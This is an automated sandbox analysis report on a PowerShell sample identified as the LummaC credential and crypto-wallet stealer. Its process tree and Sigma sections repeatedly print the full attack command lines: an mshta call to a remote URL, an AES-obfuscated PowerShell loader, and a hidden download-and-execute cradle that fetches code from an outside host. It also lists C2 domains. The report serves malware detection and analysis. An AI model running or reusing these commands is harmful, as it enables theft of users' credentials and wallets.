Edit tour

Windows Analysis Report
00000.ps1

Overview

General Information

Sample name:	00000.ps1
Analysis ID:	1580648
MD5:	dcca21065d466d02dc563971e2981c0e
SHA1:	5b3e32332d7d1f74261cc238c6e34b4c83b84a32
SHA256:	52d2dff33cdb7cb2eb4e81e5ac6ad9e828d4df0c7c9a5fc2e96381c7f3cd7843
Tags:	ps1user-zhuzhu0009
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: Powershell Download and Execute IEX

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 2800 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00000.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 3844 cmdline: "C:\Windows\system32\mshta.exe" https://scrutinycheck.cash/singl7.mp4 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 2996 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7176 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8032 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

svchost.exe (PID: 4420 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["necklacebudi.lat", "hushedocenahu.click", "crosshuaht.lat", "rapeflowwj.lat", "grannyejh.lat", "energyaffai.lat", "sustainskelet.lat", "discokeyus.lat", "aspecteirs.lat"], "Build id": "yJEcaG--singl7"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 2996	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 2996	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2b309e:$b1: ::WriteAllBytes( 0x2b3614:$b1: ::WriteAllBytes( 0x370b2:$s1: -join 0x44187:$s1: -join 0x47559:$s1: -join 0x47c0b:$s1: -join 0x496fc:$s1: -join 0x4b902:$s1: -join 0x4c129:$s1: -join 0x4c999:$s1: -join 0x4d0d4:$s1: -join 0x4d106:$s1: -join 0x4d14e:$s1: -join 0x4d16d:$s1: -join 0x4d9bd:$s1: -join 0x4db39:$s1: -join 0x4dbb1:$s1: -join 0x4dc44:$s1: -join 0x4deaa:$s1: -join 0x50040:$s1: -join 0x5ea8a:$s1: -join
Process Memory Space: powershell.exe PID: 7176	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7176	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xb944af:$b2: ::FromBase64String( 0xbb33f2:$b2: ::FromBase64String( 0x2b8289:$s1: -join 0x2b8f0c:$s1: -join 0x7dc685:$s1: -join 0xb94372:$s1: -join 0xbb32b5:$s1: -join 0xbbfe86:$s1: -join 0xbccf5b:$s1: -join 0xbd032d:$s1: -join 0xbd09df:$s1: -join 0xbd24d0:$s1: -join 0xbd46d6:$s1: -join 0xbd4efd:$s1: -join 0xbd576d:$s1: -join 0xbd5ea8:$s1: -join 0xbd5eda:$s1: -join 0xbd5f22:$s1: -join 0xbd5f41:$s1: -join 0xbd6791:$s1: -join 0xbd690d:$s1: -join
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_2996.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_7176.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" https://scrutinycheck.cash/singl7.mp4, CommandLine: "C:\Windows\system32\mshta.exe" https://scrutinycheck.cash/singl7.mp4, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00000.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2800, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://scrutinycheck.cash/singl7.mp4, ProcessId: 3844, ProcessName: mshta.exe

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2996, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/sin

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B3749

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2996, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/sin

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00000.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00000.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00000.ps1", ProcessId: 2800, ProcessName: powershell.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2996, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/sin

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = 